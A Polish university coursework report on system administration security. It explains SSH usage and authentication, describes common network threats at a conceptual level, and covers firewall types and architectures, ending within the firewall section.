AKADEMIA GÓRNICZO-HUTNICZA

Wydział Elektrotechniki, Automatyki, Informatyki i Elektroniki

KATEDRA INFORMATYKI

































Kierunek, rok studiów: Informatyka IV

Przedmiot: Administracja systemami

Prowadzący zajęcia: mgr. inż Bogusław Juza

Zespół autorski: Marek Rabenda rabenda@ernie.icslab.agh.edu.pl

Jacek Rybicki rybicki@ernie.icslab.agh.edu.pl

Temat opracowania: Bezpieczeństwo systemów (ssh, firewall, suid i sgid, buffer overrun, backup, sumy kontrolne)


Spis treści

1.Ssh. 5

1.1. Ogólnie o Ssh. 5

1.2. Właściwości. 6

1.3. Opis działania. 6

1.4. Przekierowanie połączenia X11. 7

1.5. Autoryzacja RSA. 8

1.6. Autoryzacja Rhosts. 9

2.Firewall. 14

2.1. Wprowadzenie do Firewall. 14

2.2. Zagrożenia w sieci. 14

2.3. Idea Firewalla. 16

2.4. Dlaczego Firewall? 16

2.5. Rodzaje zapór ogniowych. 17

2.6. Techniki integracji systemów ochronnych. 17

2.7. Architektury zapór ogniowych. 18

2.8. Usługi dodatkowe. 19

2.9. Wymagania sprzętowe. 23

2.10. Kryteria wyboru. 24

2.11. Wady i zalety firewalli. 24

3.Programy typu SUID i SGID. 26

4.4. Programy zliczające sumy kontrolne (ang. integrity checkers) 28

5.Buffer overrun. 30

6.Backup. 32

Techniki wykonywania kopii zapasowych. 32

1.Ssh.

1.1. Ogólnie o Ssh.


SSH (Secure Shell) jest programem służącym do logowania się na inny komputer znajdujący się w sieci, wykonywania komend na zdalnej maszynie i przenoszenia plików z jednej maszyny na drugą. Dostarcza bardzo silną autoryzację i bezpieczny sposób komunikacji przez niepewne kanały komunikacyjne. Jest zaprojektowany, tak aby zastąpić takie usługi jak rlogin, rsh, rcp, czy rdist.


SSH ochrania użytkownika od niedozwolonego sieciowego nasłuchiwania pakietów ("packet sniffing"), gdzie niezakodowane hasła i wiadomości mogą zostać przechwycone przez osobę nieupoważnioną.

SSH jest najbardziej użytecznym sposobem logowania się na maszynę UNIX-ową z Windowsa, Mac'a lub innej maszyny UNIX-owej, gdzie tradycyjne programy takie jak telnet, czy rlogin nie dostarczają kodowania haseł, czy sesji. W większości wypadków administratorzy systemów używają SSH znacznie częściej niż usług telnet i rlogin, z wyjątkiem kiedy SSH nie jest dostępny na danej maszynie.


SSH spełnia zadanie podobne do Kerberosa, ale jest on zgodny z wieloma systemami operacyjnymi i jest łatwiejszy w administracji (nie potrzeba etykiety- serwer, a także nie potrzebne są przywileje administratora systemu, aby go skonfigurować).


Po raz pierwszy użyty ssh składa zapytanie o hasło RSA. Generuje wtedy klucze: publiczny i prywatny w plikach identity.pub i identity. Plik identity powinien być dostępny do czytania tylko dla ciebie.


Na maszynach UNIX-owych pliki te znajdują się w katalogu .ssh. Natomiast na maszynach Windowsowych znajdują się one w odpowiednim katalogu domowym programu.


Przykład użycia SSH. Logowanie na maszynę soda.csua:


set path = (${path} /usr/local/bin) # add /usr/local/bin to path if needed

ssh soda.csua # login to soda.csua

ssh soda.csua -l otheracct # login as "otheracct"

ssh -f soda.csua emacs # run emacs from soda.csua

ssh -n -f soda.csua emacs & # run emacs from soda.csua in the background

xterm -e ssh soda.csua & # start an "xterm" and login to soda


Będziesz poproszony o podanie swojego UNIX-owego hasła na maszynie soda. Hasło to

będzie w bezpieczny sposób zakodowane zanim zostanie przesłane przez sieć do maszyny soda, podobnie jak każdy inny ciąg znaków który wpiszesz jak będziesz już na tą maszynę zalogowany.


Możesz wygenerować klucz publiczny (coś takiego jak przepustka w Kerberosie), który umożliwi ci logowanie się na konta UNIX-owe bez wpisywania swojego hasła SSH za każdym razem. Kiedy po raz pierwszy zalogujesz się na swoją lokalną stację roboczą, uruchom program ssh-sgent i podaj mu swoje hasło. Wtedy ssh nie będzie pytać o hasło przy logowaniu; konto, na które się logujesz musi zawierać klucz identity.pub w katalogu

~/.ssh/authorized_keys.




1.2. Właściwości.


SSH posiada sporo doskonałych właściwości odpowiadających za bezpieczeństwo poza samym kodowaniem twojego hasła i otwartej sesji w sieci. SSH dostarcza w swoim pakiecie mocniejszy algorytm kodowania (RSA), który umożliwia bezpieczne tunelowanie X11 i innych protokołów sieciowych przez zakodowaną sesję SSH.


SSH posiada następujące polecenia:


sshd Program serwera działający na maszynie serwera. Nasłuchuje

na połączenia z maszyny klienta i za każym razem jak otrzymuje

takie połączenie, to przeprowadza autoryzację i rozpoczyna obsługiwanie klienta.

ssh Klient służący do logowania się na inną maszynę lub wykonywania komend na niej. Inna nazwa tego programu to slogin


scp W bezpieczny sposób kopiuje pliki z jednej maszyny na drugą.


ssh-keygen Używany do stworzenia kluczy RSA ( kluczy hosta i kluczy autoryzujących użytkownika)


ssh-agent Agent służący do autoryzacji. Może być użyty do przechowywania informacji o kluczach RSA.


ssh-add używany do zapisania nowych kluczy dla agenta.


make-ssh-known-hosts

używany do stworzenia plików /etc/ssh_known_hosts


Ssh jest programem, który użytkownicy najczęściej używają. Uruchamia się go komendą: ssh host lub ssh host polecenie. Pierwsza komenda otwiera nowego shella na zdalnej maszynie (po autoryzacji). Natomiast druga komenda wykonuje podane polecenie na zdalnej maszynie.


1.3. Opis działania.


Po uruchomieniu ssh łączy się z sshd na serwerze, weryfikuje czy serwer jest w rzeczywistości tą maszyną z którą chce się połączyć, wymienia klucze kodowe (w taki sposób, aby użytkownik nasłuchujący z zewnątrz nie był w stanie ich przechwycić), dokonuje autoryzacji używając .rhosts i /etc/hosts.equiv, autoryzacji RSA, lub typowej autoryzacji opartej na hasłach. Wtedy serwer alokuje pseudo-terminal i rozpoczyna działanie interaktywny shell lub program użytkownika.


Zmienna środowiskowa TERM (określająca typ terminala użytkownika) jest przekazywana ze strony klienta do zdalnej maszyny. Także tryby terminala są kopiowane ze strony klienta na zdalną maszynę, aby zachować ustawienia użytkownika (np. the erase character)


Jeżeli zmienna DISPLAY jest ustawiona po stronie klienta, serwer stworzy "udawany" X serwer i ustawi odpowiednią wartość DISPLAY na nim. Wszelkie połączenia z udawanym X serwerem będą przesyłane przez bezpieczny kanał wprost do prawdziwego X serwera ze strony klienta. Dowolna liczba X programów może być uruchomiona podczas sesji i zastartowanie ich nie nakłada na użytkownika

wykonania jakichkolwiek dodatkowych operacji. (Zwróć uwagę na to, że użytkownikowi nie wolno ręcznie ustawiać zmiennej DISPLAY, ponieważ w tym wypadku połączyłby się on wprost z prawdziwym serwerem, więc połączenie nie byłoby nadawane przez kanał kodowany.) Można zabezpieczyć się przed takim zachowaniem ustawiając opcję -x klientowi w pliku konfiguracyjnym.


Dowolna liczba portów IP może wykorzystywać bezpieczny kanał. Wtedy program tworzy port po jednej ze stron i kiedykolwiek połączenie jest nawiązywane na tym porcie, będzie ono nawiązane z drugą stroną przez bezpieczny kanał i będzie łączyć się z określoną parą host:port. Aby uruchomić przekazywanie używające portów IP, użytkownik musi wyraźnie o to poprosić i nie może ono być stosowane do przekazywania szyfrowanej transmisji na uprzywilejowanych portach (jeżeli użytkownik nie jest root-em). Istnieje możliwość wyspecyfikowania automatycznego przekazywania w pliku konfiguracyjnym użytkownika, np. żeby zapewnić bezpieczne działanie elektronicznego cash'a w systemie.


Jeżeli agent autoryzacji znajduje się po stronie klienta, połączenie z nim będzie automatycznie przekazywane na stronę klienta.


1.4. Przekierowanie połączenia X11.

Przekierowanie połączenia X11 służy dwóm celom: jest wygodne dla użytkownika, ponieważ nie ma potrzeby ustawiania zmiennej DISPLAY i zapewnia ono zakodowane połączenia X11. Trudno byłoby wymyśleć i stworzyć inny i zarazem tak prosty sposób kodowania połączeń X11; modyfikacja X serwera, klienta lub bibliotek wymagałoby dodatkowego nakładu pracy dla każdej maszyny, producenta i aplikacji. To co nam pozostaje w bieżącej chwili to udawanie X serwera na tej samej maszynie, na której są uruchomieni klienci i przekierowanie połączenia do prawdziwego X serwera przez bezpieczny kanał.


Przekierowanie X11 działa jak następuje. Klient pobiera informację Xauthority z serwera. Potem tworzy losowe dane potrzebne do autoryzacji i przesyła te losowe dane do serwera. Serwer alokuje numer wyświetlania dla X11 i zachowuje (udawane) dane Xauthority dla tego wyświetlania. Za każdym razem jak połączenie z X11 jest otwierane, serwer przesyła je przez bezpieczny kanał do klienta i klient parsuje pierwszy pakiet z protokołu X11, zastępuje prawdziwe dane autoryzacji fałszywymi danymi (jeżeli fałszywe dane się zgadzały) i przesyła połączenie do prawdziwego X serwera.


Jeżeli display nie posiada danych Xauthority, serwer stworzy unixowy socket w /tmp/.X11-unix i będzie używać go do wyświetlania. W tym wypadku nie są przekazywanie żadne informacje potrzebne do autoryzacji. Połączenia X11 są ponownie przesyłane przez bezpieczny kanał. X serwer ma wrażenie, że połącznia pochodzą z maszyny klienta i serwer musi mieć zezwolenie na połączenia z lokalnej maszyny. Użycie danych do autoryzacji jest zawsze wskazane, ponieważ nie używanie ich może spowodować, że wyświetlanie będzie niebezpieczne. Jeżeli jest używany XDM, to on automatycznie generuje dane do autoryzacji.


Trzeba być uważnym i nie używać xin, czy xstart lub jakichkolwiek innych podobnych skryptów, które wprost ustawiają zmienną DISPLAY, aby uruchomić sesję X-ów na zdalnej maszynie, ponieważ w takim wypadku połączenie nie będzie odbywać się przez bezpieczny kanał. Wskazanym sposobem rozpoczynania shell'a na zdalnej maszynie jest:

xterm -e ssh host &


natomiast zalecanym sposobem wykonania aplikacji X11 na zdalnej maszynie jest:


ssh -n host emacs &


Jeżeli musisz wpisywać hasło/przepustkę (passphrase) dla zdalnej maszyny


ssh -f host emacs


może być użyteczne.


1.5. Autoryzacja RSA.


Autoryzacja RSA opiera się na kryptografii zawierającej tzw. publiczny klucz. Pomysł jest taki, że istnieją dwa klucze kodujące, jeden do kodowania, a drugi do dekodowania wiadomości. Jest niemożliwością (w ludzkiej skali czasu) wywnioskować klucz dekodujący z klucza kodującego. Klucz kodujący jest nazwany kluczem publicznym (public key), ponieważ może on być przekazany wszystkim, nie stanowi on żadnej tajemnicy. Natomiast klucz dekodujący jest naszą pilnie strzeżoną tajemnicą, stąd nazywamy go kluczem prywatnym.


Autoryzacja RSA opiera się na niemożliwości wyprowadzenia klucza prywatnego z klucza publicznego. klucz publiczny jest przechowywany na serwerze w pliku $HOME/.ssh/authorized_keys. Klucz prywatny jest przechowywany tylko na lokalnej maszynie użytkownika, laptopie, czy innym bezpiecznym nośniku. Jeżeli użytkownik chce się zalogować, klient przesyła serwerowi klucz publiczny, którym chce się posłużyć do autoryzacji. Wtedy serwer sprawdza, czy ten klucz publiczny jest dopuszczalny. Jeżeli tak to generuje 256 bitową liczbę losową, koduje ją za pomocą

klucza publicznego i wysyła zawartość do klienta Klient wtedy dekoduje numer za pomocą klucza prywatnego, wylicza 128 bitową sumękontrolną MD5 z otrzymanych danych i przesyła sumę kontrolną zpowrotem do serwera. (tylko suma kontrolna jest przesyłana, aby zapobiec atakom na RSA) Serwer sprawdza wyliczoną sumę kontrolną z poprawnych danych i porównuje sumy kontrolne. Autoryzacja jest zaakceptowana jeżeli sumy kontrolne się zgadzają. (Teoretycznie oznacza to, że klient zna właściwy klucz, ale z wszystkich praktycznych powodów nie ma wątpliwości. )


Prywatny klucz RSA może być chroniony za pomocą przepustki (passphrase). Przepustka może być dowolnym stringiem; jest on przetworzony przez MD5, aby wyprodukować klucz kodujący dla 3DES, który jest używany do kodowania prywatnej części pliku kluczowego. Bez przepustki, autoryzacja zależy tylko od posiadanego pliku kluczowego.


Autoryzacja RSA jest najbezpieczniejszą metodą autoryzacji oferowaną przez ten software. Jest ona niezależna od sieci, routerów, domeny, name serverów, czy maszyny klienta. Jedyna rzecz, która jest tu najważniejsza, to dostęp do klucza prywatnego. Wszystko to zależy oczywiście od bezpieczeństwa samego algorytmu RSA. RSA jest znany szerokiej publiczności od 1978 roku, i do tej pory nie ma

efektywnych metod złamania go, jeżeli jest poprawnie używany.


1.6. Autoryzacja Rhosts.

Typowe mechanizmy autoryzacji typu .rhosts i hosts.equiv są w swych podstawach niepewne ze względu na IP, DNS (domain name server) i ataki typu routing-spoofing. Dodatkowo ta metoda autoryzacji zależy od spójności maszyny klienta. Ta słabość była znana i eksploatowana już od dawna.


Ssh udostępnia ulepszoną wersję tego typu autoryzacji, ponieważ są one bardzo przystępne dla użytkownika ( i zapewniają łatwe przejście od rsh i rlogin). Pozwala ono na tego typu autoryzację, ale dodatkowo wymaga, aby host klienta był autoryzowany przy pomocy RSA.


Serwer posiada listę kluczy hostów przechowywaną w /etc/ssh_known_host, i dodatkowo każdy użytkownik ma klucze hostów w katalogu $HOME/.ssh/known_hosts. Ssh używa name serwerów, aby uzyskać kanoniczną nazwę hosta klienta, szuka jego klucza publicznego w znanych mu plikach host i

wymaga od klienta znajomości klucza prywatnego. Ten sposób zapobiega skutecznie IP spoofing-owi ( tak długo jak prywatny klucz maszyny klienta nie został narażony na szwank), ale wciąż jest nieodporny


na ataki DNS (do pewnych granic) i zależy od spójności maszyny klienta, jak i ten do kogo zwraca się z prośbą o logowanie. To zabezpiecza przed atakami z zewnątrz, ale nie broni przed bardzo potężnymi atakami. Jeżeli wymagane jest maksymalne bezpieczeństwo, tylko RSA powinno być użyte.


Jest możliwe zastosowanie konwencjonalnej autoryzacji .rhosts i /etc/hosts.equiv ( bez autoryzacji hosta) w czasie kompilacji ustawiając opcję --with-rhosts. Jakkolwiek nie jest to wskazane, i nie jest to robione default'owo.


Te słabości są widoczne także w rsh i rlogin. Nie będzie widocznej poprawy w bezpieczeństwie jeżeli rlogin i rsh nie będą całkowicie wykomentowane z /etc/inetd.conf). Jest to wysoce wskazane.


































2.Firewall.

2.1. Wprowadzenie do Firewall.


Duża liczba problemów związanych z bezpieczeństwem w sieci może być rozwiązana przy użyciu znanych technik i zabezpieczeń komputerów. Najbardziej skutecznym sposobem zniwelowania potencjalnych zagrożeń bezpieczeństwa, wynikających z podłączenia do sieci publicznej, jest fizyczne odseparowanie wszystkich komputerów wspomagających realizację istotnych zadań organizacji i przechowujących jej strategiczne informacje. W praktyce, oznacza to kompleksową przebudowę fizycznej infrastruktury systemu informatycznego, co w dużej większości przypadków pociąga za sobą poważne wydatki finansowe. Firewall może znacząco wpłynąć na poziom bezpieczeństwa stacji roboczych, jednocześnie umożliwiając dostęp do rozbudowanych serwisów internetowych.


2.2. Zagrożenia w sieci.


Przed przystąpieniem do omówienia zagadnień ochrony sieci prywatnej, przedstawimy niebezpieczeństwa wynikające z faktu połączenia z siecią publiczną. Dokładna znajomość tych zagrożeń daje bowiem możliwość zbudowania skutecznego systemu zabezpieczeń. Firewall nie zapewnia ochrony systemu przed użytkownikami lokalnymi, zatem ograniczymy rozważania do zagadnienia zagrożeń zewnętrznych.


Najpowszechniej praktykowaną metodą uzyskiwania dostępu do odległego systemu jest wykonywanie zdalnego logowania Telnet, przeprowadzanego najczęściej na bazie łączności modemowej "dial-up". Warunkiem wykonania pomyślnego logowania na odległym komputerze jest znajomość identyfikatora i hasła użytkownika, który jest do tego upoważniony. Uzyskanie identyfikatora z reguły sprowadza się do zdobycia adresu e-mail dowolnego użytkownika tego systemu. Hasła użytkowników mogą być pozyskane drogą zgadywania, przechwytywania lub rozszyfrowania pliku zawierającego hasła użytkowników systemu. Co ciekawe, sama aplikacja Telnet nie stanowi zagrożenia - to przyjęty system kontroli tożsamości jest słaby. Statystyki podają, iż duża większość użytkowników jako hasła dostępu do konta przyjmuje łatwe do zapamiętania słowa (np. imiona, nazwy miejscowości), które w równie łatwy sposób mogą być odgadnięte przez cierpliwego włamywacza.


Przechwytywanie hasła może odbywać się za pośrednictwem ukrytego w systemie programu, który odbiera wpisywane przez użytkownika dane (np. fałszywy program login) lub poprzez prowadzenie "nasłuchiwania sieci" (ang. sniffing) wykonywanego w trakcie zdalnego logowania legalnego użytkownika. "Sniffing" odbywa się za pośrednictwem urządzeń podsłuchowych, podłączonych do sieci na drodze transmisji danych. W najprostszym przypadku może to być zmodyfikowana karta sieciowa umożliwiająca selektywne przechwytywanie pakietów.

"Nasłuchiwanie sieci" to bardzo poważny problem, który nie ogranicza się wyłącznie do przechwytywania hasła. W przypadku prowadzenia nieszyfrowanej transmisji danych "nasłuchiwanie sieci" może prowadzić do całkowitej utraty poufności przesyłanych informacji. Niestety, na dzień dzisiejszy nie ma skutecznych narzędzi przeciwdziałania tej technice - dostępne programy monitorujące pracę sieci komputerowej nie gwarantują wykrycia dobrze zamaskowanego urządzenia podsłuchowego. Nawet zastosowanie łącza światłowodowego nie zapewnia pełnej tajności transmitowanych informacji.


W momencie pozyskania pliku zawierającego zaszyfrowane hasła użytkowników (w systemie Unix pliki etc/passwd , /etc/shadow), mogą zostać podjęte próby uzyskania ich jawnej postaci. Najczęściej stosowaną techniką jest tzw. "atak brutalny", sprowadzający się do szyfrowania i porównywania wszystkich słów zawartych w przygotowanym do tego celu słowniku.


Potencjalne zagrożenie stanowią wszystkie usługi pozwalające na prowadzenie zdalnej pracy pomiędzy tzw. "zaprzyjaźnionymi" komputerami: RLOGIN, RSH i RCP. Poprzez podstawienie odpowiednio przygotowanych plików konfiguracyjnych .rhosts i hosts.equiv, osoby nieupoważnione mogą uzyskać uprawnienia legalnego użytkownika systemu.


Pewne niebezpieczeństwo stanowi usługa transferu plików FTP. Wykorzystując niewłaściwie administrowany serwer FTP, użytkownik Internetu może wejść w posiadanie ważnych informacji, przechowywanych w systemie plików komputera. Bardzo groźnym zjawiskiem jest wykorzystanie FTP do rozprowadzania aplikacji typu :


Inną kategorią zagrożeń są tzw. "furtki" lub "włazy", które stanowią nieudokumentowane wejścia do legalnych programów. Niekiedy, programiści tworzą alternatywne wejście do aplikacji aby ułatwić sobie proces testowania. "Furtką" do programu może być ciąg znaków lub nawet wciśnięcie odpowiedniej kombinacji klawiszy. W momencie odnalezienia "furtki" nieuprawniony użytkownik uzyskuje kontrolę na aplikacją.


Omawiając niebezpieczeństwa związane z wykorzystaniem Internetu nie należy zapominać o dwóch najbardziej popularnych usługach - serwisie wymiany poczty elektronicznej SMTP i serwisie informacyjnym WWW. Najsłabszą stroną systemu poczty elektronicznej Internetu okazał się program sendmail. Próby rozszerzenia możliwości WWW (np. interfejs CGI, nowe elementy HTML), spowodowały powiększenie pola działania hackerów. Uruchamianie nieznanych aplikacji nieuchronnie wiąże się z podejmowaniem ryzyka, uzyskania odmiennego niż zakładano, rzeczywistego rezultatu działania programu.


Chyba najgłośniej omawianą obecnie techniką oszukiwania zabezpieczeń systemów, w tym systemów chronionych przez niektóre Firewall jest "spoofing". Określenie to wywodzi się z dziedziny wojskowej i oznacza przeciwdziałanie elektronicznym przeciwsystemom nieprzyjaciela poprzez nadawanie fałszywych informacji. W odniesieniu do zagadnienia transmisji danych w sieci TCP/IP, "IP Source-Address Spoofing" oznacza proces przesyłania pakietów zawierających nieprawdziwy adres źródłowy, przez co komputer odbierający te pakiety błędnie identyfikuje ich nadawcę.

Zakres przedstawionych powyżej potencjalnych zagrożeń, jakie należy uwzględnić podczas budowy polityki bezpieczeństwa, został ograniczony tylko do tych zagadnień, którym można przeciwdziałać poprzez "firewall".





2.3. Idea Firewalla.


Na samym początku najlepiej jest opisać, co nie jest firewallem. Firewallem nie jest zwykły ruter, system operacyjny danego hosta czy zbiór takich systemów, które zabezpieczają sieć. Raczej firewall jest jednym z podejść do tematu bezpieczeństwa sieci. Pomaga zaimplementować szerszy zakres bezpieczeństwa, który definiuje dostęp do określonych serwisów i odpowiednich zgłoszeń. Jest to implementacja w sensie konfiguracji sieci, jednego albo większej liczby systemów i ruterów oraz innych sposobów sprawdzania bezpieczeństwa tak jak zaawansowana weryfikacja w miejsce statycznych haseł. Głównym zadaniem systemu typu firewall jest kontrola dostępu z i do chronionej sieci ( lokalizacji ). Firewall implementuje dostęp do sieci poprzez sprawdzanie połączenia.

Firewallem może być ruter, komputer osobisty, host czy zbiór hostów specjalnie skonfigurowanych, żeby ochraniać daną sieć czy podsieć od protokołów i serwisów sieciowych, które mogą być nadużywane przez użytkowników na zewnątrz sieci. Zwykle firewall jest umieszczony jako gateway wyższego poziomu tak jak połączenie danej lokalizacji do internetu. Z drugiej strony systemy typu firewall mogą być umieszczone jako gateway'e niższego poziomu aby zapewnić bezpieczeństwo mniejszemu zbiorowi hostów czy podsieci.





2.4. Dlaczego Firewall?


Głównym powodem użycia firewalla jest to, że bez niego system podsieci uzewnętrznia się na z reguły niepewne serwisy takie jak NFS czy NIS a także na próby logowania i ataki z innych hostów w sieci. W środowisku, które nie ma zdefiniowanego firewalla bezpieczeństwo sieci zależy tylko od bezpieczeństwa danego hosta a także od wszystkich pozostałych hostów w takim sensie, że muszą one współpracować tak aby osiągnąć wysoki poziom bezpieczeństwa. Im większa jest podsieć tym trudniej nią administrować tak, aby wszystkie hosty posiadały ten sam poziom bezpieczeństwa.


Firewalle (zapory ogniowe) są instalowane między sieciami w celu wymuszenia kontroli dostępu między nimi. Generalnie rzecz ujmując, firewalle zabezpieczają przed nieautoryzowanym dostępem z zewnątrz do sieci lokalnej. Niektóre nawet mogą całkowicie blokować ruch pakietów z zewnątrz - dopuszczając ewentualnie pakiety poczty elektronicznej - zezwalając jednakże na swobodne komunikowanie się użytkowników sieci ze światem zewnętrznym. Inną pożyteczną cechą firewalli jest możliwość wykorzystania ich do rejestrowania i śledzenia wszelkich przychodzących pakietów (z ang. auditing). Stacje umieszczane w pierwszej linii obrony, określane również jako bastion host, są punktami przez które przechodzą wszystkie informacje do sieci lokalnej i na zewnątrz. Dzięki takiemu scentralizowaniu dróg dostępu do sieci w jednym komputerze można łatwo zarządzać systemem ochrony.



2.5. Rodzaje zapór ogniowych.


Na rynku dostępnych jest wiele produktów sprzedawanych pod nazwą "Firewall", lecz różnią się one poziomem oferowanych zabezpieczeń. Filtry pakietowe ( Network Level ) na podstawie adresu źródłowego i docelowego oraz portu pojedynczego pakietu decydują, czy dana przesyłka może zostać przesłana dalej, czy też nie. Zwyczajny router nie jest zwykle w stanie takiej decyzji podjąć, lecz bardziej nowoczesne konstrukcje mogą przechowywać wewnętrzne informacje o stanie połączeń przechodzących przez niego, zawartości niektórych strumieni danych itp. Filtry pakietowe są zwykle bardzo szybkie, jednak ich wadą jest, że podane kryteria selekcji mogą okazać się niewystarczające dla niektórych usług internetowych.

Jedną z możliwych prób ataku może być umieszczenie pakietów wyższego poziomu w fałszywych ramkach MAC lub protokołu warstwy 3 (sieciowa) i 4 (transportowa) modelu ISO/OSI. Często wystarczy tylko zmienić adres nadawcy pakietu. W takim przypadku filtr pakietowy jest bezradny.

Bramki typu Circuit Level są w stanie przyporządkowywać pakiety do istniejących połączeń TCP i dzięki temu kontrolować całą transmisję. Zaawansowane systemy potrafią także kojarzyć pakiety protokołu UDP, który w rzeczywistości kontroli połączeń nie posiada.

Firewalle Application Level to, generalnie rzecz ujmując, hosty, na których uruchomiono proxy servers, które nie zezwalają na bezpośredni ruch pakietów pomiędzy sieciami oraz rejestrują i śledzą cały ruch przechodzący przez niego. Proxies potrafią więc niejako odseparować "wiarygodną" część sieci od podejrzanej; mogą magazynować najczęściej żądane informacje - klient kieruje swoje żądanie do proxy, który wyszukuje obiekt w swoich lokalnych zasobach i zwraca zamawiającemu. Dla każdej aplikacji (czyli usługi sieciowej, np. http, ftp, telnet, smtp, snmp, etc.) istnieje osobny proxy, dla którego definiowane są reguły według których podejmowana jest decyzja o zaakceptowaniu bądź odrzuceniu połączenia. Niewątpliwym minusem tego rozwiązania jest konieczność stosowania wielu proxies do obsługi różnych aplikacji; jeżeli dla danego protokołu nie jest dostępny odpowiedni proxy, to dane przesyłane w tym formacie nie będą w ogóle przepuszczane przez bramkę. Na rynku dostępne są też systemy z proxies definiowanymi przez użytkownika funkcjonującymi jednakże nie na płaszczyźnie aplikacji, lecz analogicznie do filtrów pakietowych i bramek Circuit Level.


2.6. Techniki integracji systemów ochronnych.



Technika konwencjonalna.

Klasyczny system firewall składa się z zewnętrznego routera z filtrem pakietowym, tak zwanej sieci granicznej (DMZ - demilitarized zone) i wewnętrznego routera, także z filtrem pakietowym. W strefie DMZ umieszcza się Bastion Hosta przeznaczonego do odparcia najcięższych ataków, na którym uruchamia się proxy servers dla poszczególnych aplikacji. Transmisja wszelkich danych musi odbywać się poprzez właśnie Bastion Hosta, co gwarantuje odpowiednia konfiguracja obu routerów.



Technika perspektywiczna.

Nowoczesne firewalle działają według zasady all-in-one, czyli są to pojedyncze urządzenia łączące w sobie funkcje obu routerów i Bastion Hosta, czasami dysponując dodatkowymi serwisami w rodzaju DNS bądź mail. W przypadku takiego systemu serwery typu WWW najlepiej lokalizować w osobnej sieci bezpośrednio podłączonej do firewalla. W ten sposób firewall chroni serwer przed intruzami z zewnątrz, a w razie jego przełamania - sieć wewnętrzna pozostaje w dalszym ciągu dobrze zabezpieczona. Jednak do prawidłowej pracy takiego systemu niezbędna jest współpraca firewalla z minimum trzema kartami sieciowymi, co może w wielu przypadkach być warunkiem trudnym do spełnienia.

2.7. Architektury zapór ogniowych.


Dual-Homed Host Firewall (router ekranujący)


Umieszczenie routera ekranującego i filtra pakietowego na komputerze z dwoma kartami sieciowymi jest najprostszym rozwiązaniem, w którym jeden komputer oddziela sieć lokalną od potencjalnych zagrożeń. Blokuje on ruch pomiędzy konkretnymi sieciami, hostami lub niektórymi portami.

Screened Host Gateway Firewall (firewall z routerem ekranującym)


Taka konfiguracja wymaga dodania WAN routera, który dostarcza połączenie z WAN i filtrowanie pakietów. Rozwiązanie to pozwala umieścić komputer główny z dala od sieci publicznej. Komputer główny w tym przypadku to serwer firewall z usługami proxy i dodatkowym filtrowaniem pakietów. Przerwanie bezpośredniego połączenia tego serwera z Internetem pozwala znacząco zwiększyć bezpieczeństwo.

Screened Subnet Firewall (firewall z dwoma routerami ekranującymi)

Firewall z dwoma routerami ekranującymi zapewnia dodatkową izolację sieci lokalnej. Oprócz routera WAN dodajemy router LAN, który kontroluje przepływ danych w sieci lokalnej. Dzięki temu, że komputer główny z Proxy Server jest umieszczony w osobnej sieci, atak ogranicza się jedynie do uderzenia na niego. Dodatkowo router LAN uniemożliwia nieautoryzowany dostęp do komputera głównego z wnętrza sieci. Oba routery mogą zostać skonfigurowane, by serwer komunikował się wyłącznie z nimi.


2.8. Usługi dodatkowe.

Systemy firewall oferują wiele dodatkowych usług, które pomagają zabezpieczyć sieć bądź przyspieszyć jej pracę. Wśród nich na szczególne wyróżnienie zasługują Proxy Cache Services. Usługa ta umożliwia zoptymalizowanie ruchu na łączu WAN poprzez przechowywanie informacji (stron WWW), do których często odwołują się użytkownicy sieci; zwykle jest to element zintegrowany z serwerami pośredniczącymi.




W przypadku bardzo dużych i intensywnie eksploatowanych serwisów WWW możemy użyć kilku połączonych równolegle Proxy Cache Server. Mogą one obsługiwać serwery różnych producentów.




W pracy serwera bardzo istotne jest odpowiednie ustawienie parametrów. Przede wszystkim czasu przechowywania stron w pamięci podręcznej, czasu, po którym strona staje się nie aktualna, ilość miejsca przeznaczonego na cache. Wiele firm, które potrzebują ciągłej wymiany informacji, staje przed dużym problemem - jak połączyć sieci lokalne wielu oddziałów oddalonych od siebie o setki, a nawet tysiące kilometrów. Wykupienie łącza dzierżawionego jest bardzo drogie, a czasem wręcz niemożliwe. Jedynym wyjściem staje się podłączenie wszystkich filii do sieci globalnej, takiej jak Internet. Virtual Private Network to usługa, która pozwala łączyć kilka sieci prywatnych "tunelami", przez które przenoszone są tylko informacje zaszyfrowane. Szyfrowanie całych pakietów znacznie zwiększa bezpieczeństwo połączenia, ponieważ ukrywa numery połączeń i przesyłane dane.




Serwer z VPN zainstalowany na obrzeżu sieci umożliwia zarządzanie całą siecią wirtualną z dowolnego miejsca, co dodatkowo upraszcza administrację. Jedynym elementem, który powinien zostać przekazany tradycyjną metodą jest klucz (w BorderManager firmy Novell klucz jest 40- lub 128-bitowy; na eksport poza terytorium USA klucza 128-bitowego nałożone są spore restrykcje) umożliwiający nawiązanie zaszyfrowanego połączenia.

Narzędzia w rodzaju Novell IP Gateway umożliwiają sieciom pracującym z innymi protokołami, bądź z adresami IP, które nie są unikalne, korzystanie z sieci Internet. Dają możliwość całemu systemowi na korzystanie z jednego adresu IP, który również może być przydzielany dynamicznie. Umożliwia to firmie korzystającej np. z protokołu IPX na podłączenie do Internetu za pomocą modemu u dostawcy przydzielającego adresy dynamicznie (TP S.A.). Dodatkową zaletą zwiększającą bezpieczeństwo przy korzystaniu z takich usług jest ukrycie adresów lokalnych systemu.

Usługa Network Address Translation (NAT), podobnie jak IP Gateway, pozwala klientom, którzy nie posiadają unikalnych adresów, korzystać z Internetu. Dodatkowo może pracować jako filtr pozwalający tylko na niektóre połączenia z zewnątrz i gwarantujący, że wewnętrzne połączenia nie będą inicjowane z sieci publicznej.

W celu precyzyjnego określenia praw rządzących dostępem do sieci tworzy się tak zwane listy reguł. Listy takie opisują prawa poszczególnych obiektów do korzystania z określonych usług/protokołów sieciowych, zezwalają na pewne rodzaje połączeń z zewnątrz jednocześnie zabraniając innych, mogą limitować liczbę połączeń z jakiegoś adresu albo ograniczać liczbę jednoczesnych połączeń. Przykładowo, kierownictwo firmy może zabronić pracownikom w określonych godzinach korzystania z usługi http z konkretnych miejsc sieci (co, oczywiście, jest decyzją polityczną). Edytor reguł jest narzędziem, przy pomocy którego budujemy i modyfikujemy zbiory reguł oraz wiążemy aplikacje z protokołami, a tym z kolei przypisujemy interfejsy sieciowe. Na użytek zaawansowanych administratorów tworzone są specjalne języki skryptowe, ułatwiające automatyzowanie konfigurowania serwera.

